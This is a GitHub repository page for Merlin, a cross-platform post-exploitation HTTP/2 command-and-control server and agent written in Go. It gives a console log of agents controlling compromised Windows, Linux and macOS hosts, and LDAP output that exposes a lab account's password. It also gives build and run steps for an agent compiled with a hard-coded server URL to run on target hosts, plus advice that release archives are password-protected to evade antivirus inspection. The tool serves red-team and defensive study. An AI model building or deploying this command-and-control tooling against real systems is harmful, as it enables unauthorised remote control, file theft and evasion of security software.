Ne0nd0g / merlin

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

http2 command-and-control c2 golang post-exploitation agent

114 commits **2** branches **4** releases **3** contributors GPL-3.0

Branch: **master** New pull request Find file Clone or download

Ne0nd0g Fixed changelog version and date Latest commit `51a3c60` on Mar 3

cmd Added in missing agent skew to server and messages. 3 months ago

data	Add support for dynamic list of modules. Added support for host os	3 months ago
docs	Fixed changelog version and date	2 months ago
pkg	Fix menus for consistency	2 months ago
vendor	Updated package names from ne0nd0g to Ne0nd0g to match github repo us…	5 months ago
.gitignore	Adjust .gitignore	4 months ago
LICENSE	Added GNU GPL v3.0 license information.	5 months ago
Makefile	Updated version number source and compile instructions.	3 months ago
README.MD	Updated asciicast	2 months ago

README.MD

Merlin (BETA)

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

An introductory blog post can be found here: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a

```
displayname                 : Dade D. Murphy
description                 : Intentionally Vulnerable;Password: Winter2017
pwdlastset                  : 10/5/2017 8:21:27 PM
objectclass                 : {top, person, organizationalPerson, user}
useraccountcontrol          : 66048
logoncount                  : 16
dscorepropagationdata       : 1/1/1601 12:00:00 AM
whenchanged                 : 2/26/2018 1:01:52 AM
```

```
initials                        : D
adspath                         : LDAP://CN=Dade D. Murphy,CN=Users,DC=xcalibur,D
                                  C=io
samaccounttype                  : 805306368
lastlogontimestamp              : 2/25/2018 8:01:52 PM
givenname                       : Dade
name                            : Dade D. Murphy
userprincipalname               : dade@xcalibur.io
lastlogoff                      : 12/31/1600 7:00:00 PM
whencreated                     : 10/6/2017 12:21:27 AM
lastlogon                       : 3/2/2018 5:39:11 PM
distinguishedname               : CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
primarygroupid                  : 513
badpwdcount                     : 0
objectcategory                  : CN=Person,CN=Schema,CN=[illegible]figuration,DC=xcalibu
                                  r,DC=io
cn                              : Dade D. Murphy
objectsid                       : S-1-5-21-4268310007-400[illegible]-3852045410-1116
msds-supportedencryptiontypes   : 0
sn                              : Murphy
accountexpires                  : 9223372036854775807



Merlin[agent][c6234cbe-4013-4c79-8b50-6b61bed0ec2a]» main
Merlin» echo there are some shortcuts to listing sessions and interacting wtih an agent
[i]Executing system command...
[+]there are some shortcuts to listing sessions and interacting wtih an agent
Merlin» sessions

+--------------------------------------+---------------+---------------+----------------------------+-----------+
|              AGENT GUID              |   PLATFORM    |     USER      |           HOST             | TRANSPORT |
+--------------------------------------+---------------+---------------+----------------------------+-----------+
| 5382481f-8578-4779-ac59-61d607e81f28 |  linux/amd64  |     root      |           kali             |  HTTP/2   |
| c6234cbe-4013-4c79-8b50-6b61bed0ec2a | windows/amd64 | XCALIBUR\dade |           WIN7             |  HTTP/2   |
| 2942d112-71ee-42cd-9b4f-35309df46954 | darwin/amd64  |    russel     | Russels-MacBook-Pro.local |  HTTP/2   |
+--------------------------------------+---------------+---------------+----------------------------+-----------+

Merlin» interact 5382481f-8578-4779-ac59-61d607e81f28
Merlin[agent][5382481f-8578-4779-ac59-61d607e81f28]» cmd python -c "import os;print (os.listdir('/'));"
Merlin[agent][5382481f-8578-4779-ac59-61d607e81f28]»
```

Getting Started

The quickest and easiest way to start using Merlin is download the pre-compiled binary files found in the Releases section. The files are compressed into 7z archives and are password protected to prevent Anti-Virus inspection when downloading. The password is `merlin`.

Install GO

In order to run Merlin from source, or to compile Merlin yourself, the Go programing language must be installed on the system. However, if you just want to run a pre-compiled version, you *do not* need to install Go.

Download and install GO: `https://golang.org/doc/install`

Download Merlin Server

> It is recommended to download the compiled binaries from the Releases section

> Ensure your GOPATH environment variable is set

Download Merlin with Go

```
go get github.com/Ne0nd0g/merlin
```

If you want to use git instead of Go, merlin must be in your GOPATH i.e. `$GOPATH/src/github.com/Ne0nd0g/merlin`

```
cd $GOPATH/src/github.com/Ne0nd0g;git clone https://github.com/Ne0nd0g/merlin/
```

Run Merlin Server

Merlin Server can be run as a script or compiled and run as a standalone binary file.

```
go run cmd/merlinserver/main.go
```

Compile Merlin Server

Compile Merlin into an executable using Make `make server-windows` or `make server-linux` or `make server-darwin`

Merlin Server Usage

```
-debug
      Enable debug output
-i string
      The IP address of the interface to bind to (default "0.0.0.0")
-p int
      Merlin Server Port (default 443)
-v    Enable verbose output
-x509cert string
      The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt")
-x509key string
      The x509 certificate key for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.key")
```

Merlin Server Commands

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands.

Name	Description

Name	Description
agent	Interact with agents or list agents
banner	Print the Merlin banner
exit	Exit and close the Merlin server
help	Print help screen
interact	Interact with an agent. Alias for Empire users
quit	Exit and close the Merlin server
sessions	List all agents session information. Alias for MSF users
use	Use a function of Merlin (i.e modules)
version	Print the Merlin server version
?	Print help screen
`*`	Anything else will be execute on the host operating system

Agent Commands

These are the commands to control an agent from the server. Tab completion can be used to select an Agent's identifier.

Name	Description
cmd	Execute a command on the agent", "cmd ping -c 3 8.8.8.8"
back	Return to the main menu

Name	Description
download	Download a file from the agent
exit	Exit and close the Merlin server
help	Print help screen
info	Display all information about the agent
kill	Instruct the agent to die or quit
main	Return to the main menu
quit	Exit and close the Merlin server
set	Set the value for one of the agent's options (maxretry, padding, skew, sleep)
show	Show information about a module or its options (show options or show info)
upload	Upload a file to the agent
?	Print help screen
`*`	Anything else will be execute on the host operating system

Module Commands

These are the commands to configure and execute a module. Tab completion can be used to select options and agents.

Name	Description
back	Return to the main menu

Name	Description
exit	Exit and close the Merlin server
help	Print help screen
main	Return to the main menu
quit	Exit and close the Merlin server
run	Run or execute the module
set	Set the value for one of the module's options
show	Show information about a module or its options (show options or show info)
?	Print help screen
`*`	Anything else will be execute on the host operating system

TLS Certificates

By default, Merlin will load server.crt and server.key from the `data/x509/` directory. You must generate your own certificate pair and place them in this directory.

Third Party Libraries

The 3rd party libraries used with Merlin are kept in the *vendor* directory. This project will default to using the library files in that folder.

Running Merlin Agent

The agent portion of Merlin should be run as a compiled binary file on a target host.

> It is recommended to download the compiled binaries from the Releases section

> Ensure your GOPATH environment variable is set!

Compile Merlin Agent into an executable

`make agent-windows` or `make agent-linux` or `make agent-darwin`

Merlin Agent can also be compiled without Make, using just go. To compile Merlin Agent with your hard coded Merlin Server's address, so it doesn't have to specified on the command line, include `-ldflags -X main.url=https://acme.com:443/`

> Example: `go build -o merlinagent.exe -ldflags "-X main.url=https://acme.com:443/" cmd/merlinagent/main.go`

Run Merlin Agent as script: `go run cmd/merlinagent/main.go`

USAGE

```
-debug
      Enable debug output
-sleep duration
      Time for agent to sleep (default 10s)
-skew int
      Variable time skew for agent to sleep
-url string
      Full URL for agent to connect to (default "https://127.0.0.1:443")
-v    Enable verbose output
```